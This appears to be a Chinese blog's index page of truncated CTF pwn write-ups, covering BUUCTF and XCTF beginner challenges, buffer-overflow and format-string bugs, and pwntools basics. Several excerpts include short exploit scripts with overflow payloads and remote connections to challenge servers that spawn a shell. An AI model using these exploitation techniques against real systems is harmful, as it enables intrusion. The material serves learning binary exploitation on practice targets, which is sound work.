pwn
续梦人
这个作者很懒,什么都没留下…
展开
-
BUUCTF pwn1_sctf_2016
执行一下似乎出现第一个i被替换成you检查一下保护机制丢到ida里面输入的变量s大小为0x3c,但是我们看fgets里面,我们只能输入32个字符,没法进行溢出,我们在输入的时候,会发现i会被替换成you,所以我们可以利用20个i来填充,找到shell,地址为0x8048F0D返回地址再随便填四个字符我们可以构造一下payloadpayload = ‘I’*20 + p64(0x8048F0D)这里特别注意一下payload可以有多种写法‘I’ *19 + ‘A’*7 + p原创 2022-04-08 20:13:46 · 3428 阅读 · 1 评论 -
pwnthebox-rip
gets函数不限制输入的长度,存在溢出查看栈空间,payload = 0xf + 8发现fun()函数,构造expfrom pwn import *p = process('pwn1')#p = remote('redirect.do-not-trust.hacking.run',10026)payload = b'A'*0xF+ p64(0x401186)p.sendline(payload)p.interactive()...原创 2021-12-02 21:25:37 · 2599 阅读 · 0 评论 -
[第五空间2019 决赛]PWN5
srand会生成一个随机数放到804c044中,当password和随机数相等,就getshell我们看到,有两个输入点,name有回显,这里有明显的格式化字符串漏洞,原创 2021-12-02 20:17:18 · 115 阅读 · 0 评论 -
攻防世界-进阶区-实时数据监测
将35795746换成十六进制0x2223322(按H)根据函数,只需要令key等于0x2223322即可getshell查看一下 imagemagic()函数存在格式化字符串漏洞具体看wiki:https://ctf-wiki.org/pwn/linux/user-mode/fmtstr/fmtstr-intro/了解到一个骚操作fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')第一个参数表示格式化字符串...原创 2021-12-01 21:31:57 · 2936 阅读 · 0 评论 -
buuctf-N1Book[第六章 CTF之PWN章]
64位,开启了NX保护shift + F12查看里面的字符串发现自带system和bin/sh的地址bin_sh = 0x400537gets函数对输入的长度没有限制查看一下v1的栈空间需要填充0xA + 0x8的空间payload = “A” *(0xA + 8)由于存在栈对齐,所以还要加一个地址ret = 0x40054E构造的exp如下from pwn import *#p = process("./stack")p = remote("node4.buuoj..原创 2021-10-17 16:20:38 · 2310 阅读 · 0 评论 -
buuctf-pwn刷题(二)
ciscn_2019_n_1直接运行一波猜数字的checksec file一下放入ida发现func函数里面有 东西这个是一道溢出题,我们输入的数字给v1,但是在进行判断的时候,用的是v2,我们需要溢出v2,使其等于目标值查看一下栈空间我们发现v2在栈上04的位置,也就是(0x30-4)11.28125转化为十六进制为0x41348000pay load= b’A’*(0x30-4) + p64(0x41348000)from pwn import *payload =原创 2021-10-15 20:58:07 · 2085 阅读 · 0 评论 -
pwn的一些常用命令
libc的查找利用Python 3.6.9 (default, Jan 26 2021, 15:33:00) [GCC 8.4.0] on linuxType "help", "copyright", "credits" or "license" for more information.>>> from pwn import *>>> elf = ELF('libc_32.so.6')[*] '/home/hacker/Desktop/pwnstudy_fi原创 2021-10-06 18:01:42 · 442 阅读 · 0 评论 -
攻防世界-pwn新手区-level3
先检查运行一下ida看一下vulnerable_function函数发现存在溢出,栈空间136,可以输入的长度256但是没有发现system函数和/bin/sh题目给了libc文件,可以 考虑利用一下把libc丢到ida里面原创 2021-09-22 16:12:35 · 368 阅读 · 0 评论 -
第五空间网络安全大赛pwn-bountyhunter
先运行一下查看一下保护机制开启了NX保护丢入IDApro里面查看一下查看一下vulnerable_function()函数栈空间是144,但是可以读入的大小是0X200,常规的栈溢出题目查看buf栈空间shift+F12查看字符串发现system和/bin/sh,构造payload...原创 2021-09-20 15:45:57 · 393 阅读 · 0 评论 -
攻防世界-pwn新手区-cgpwn2
先运行一下老规矩,checksec 和filepie和canary关了ida 查看一下hello函数name在bss段有没有发现bin/sh所以我们可以自己写一个shellcodename_bin_sh = 0804A080看一下s的栈空间00000027 db ? ; undefined-00000026 s dw ?-00000024 db ? ; undefined-0000002原创 2021-08-11 08:38:31 · 234 阅读 · 0 评论 -
攻防世界-pwn新手区-int_overflow
看题目就知道是整形溢出运行一下检查一下保护机制丢入32位ida里面发现一个函数可以通过覆盖跳转到这个函数就可以拿到flagsystem_addr = 0x804868Bcheck_passwd处有一个判定,输入的数字要在3和8之间否则就直接退出在这里需要说明一下,这个unsigned int就是无符号的整型,我们要知道,在计算机中,所有的数据指令都是以二进制的形式存在的,010101这样,那么正负数怎么存在呢,这里就有一个符号位,一般是在一段数据的第一个位置比如260的十六进制原创 2021-08-10 14:08:36 · 276 阅读 · 0 评论 -
攻防世界-pwn新手区-guess_num
发现get()危险函数,该函数可以进行任意长度的输入下面有seed函数,该函数为C语言中产生随机数的种子。查看一下其栈空间我们可以去覆盖一下这个seed地址看了一下其他大佬的博客,知道可以用python的内置函数ctypes,进行C语言代码的调试只需要将种子覆盖为1,然后调用C语言的libc共享库,得到这个种子产生的随机值,就能够保证每次猜对了。from pwn import *from ctypes import *context(os='linux',arch='amd64',lo.原创 2021-08-09 17:36:20 · 197 阅读 · 0 评论 -
pwn学习-pwntools
利用Python交互pwn对程序进行调试from pwn import *p = process('./a.out')p.readp.read()p.send('helloworld')p.read()p.close()from pwn import *p = process('./a.out')p.send('\x01\x02\x03')a=p.read()a添加debug进行调试context。log_level='debug'p = process('./a.out.原创 2021-07-27 20:35:08 · 286 阅读 · 0 评论 -
ubuntu18在docker下安装pwntools
首先要换源,这步特别特别重要。然后安装docker$ sudo apt install docker.io原创 2021-07-27 12:21:01 · 364 阅读 · 0 评论 -
攻防世界-pwn新手区-level2
根据题目提示,这个题需要使用rop运行一下,再file一下检查一下保护机制丢入ida查看vulnerable_function函数,发现有system,证明plt表有这个数据可以发现申请0x88的空间,但是却能输入0x100,存在栈溢出和之前的题目相比,这次没有"/bin/sh"函数结合题目的提示,我们需要自己构造ropbuf为0x88,加四个字节到返回地址ret,利用gdb打印system的地址system_addr = 0x8048320发现有’/bin/sh’bi.原创 2021-07-26 13:51:10 · 297 阅读 · 0 评论 -
攻防世界-pwn新手区-level0
下载附件,执行一下,64位程序checksec一下NX执行保护开启丢进ida里面分析一下F5反编译发现return到一个函数里面,点击查看一下发现申请的栈空间是0x80,read的值却是0x200,说明存在栈溢出然后点击callsystem这个函数,发现shell,也就是说我们需要利用栈溢出覆盖到callsystem函数的返回地址0x400596执行shell。查看buf的栈空间shell_addr = 0x400596payload = ‘A’*(0x80+8) + p.原创 2021-07-26 12:02:42 · 243 阅读 · 0 评论 -
攻防世界-pwn新手区-get_shell
我们尝试运行一下,好家伙,直接就getshellnc连一下ls一下直接cat flag吧这样是不是有点简单丢进ida分析一下F5反编译一下发现是在程序里面就直接调用system函数,直接getshell,签到题。原创 2021-07-26 11:38:44 · 450 阅读 · 0 评论 -
buuctf刷题(一)
test_your_ncidapro反编译一下,发现直接就system("/bin/sh");这个直接用nc连一下,然后cat flagrip老规矩,checksec一下,file 一下,64位,扔进ida里面发现shell,应该是个栈溢出查看栈空间,shell地址构造payload=b’A’+p64(0x401186)expwarmup_csaw_2016 1运行一下老规矩checksec 一下啥保护都没开丢ida里面sprintf后面的函数点击进原创 2021-07-26 10:24:37 · 197 阅读 · 0 评论 -
攻防世界-pwn新手区-hellopwn
拿到文件先file看一下是什么类型,然后checksec一下查看保护机制。发现是64位程序,开启了NX(Non-Executable Memory,不可执行内存。了解 Linux 的文件有三种属性,即 rwx,而 NX 即没有 x 属性,意味着栈中数据没有执行权限。尝试运行一下没啥用,丢idapro里面编写expfrom pwn import*p = remote('111.200.241.244',52090)111.200.241.244:52090payload = 'aaaa'原创 2021-06-16 16:55:09 · 194 阅读 · 0 评论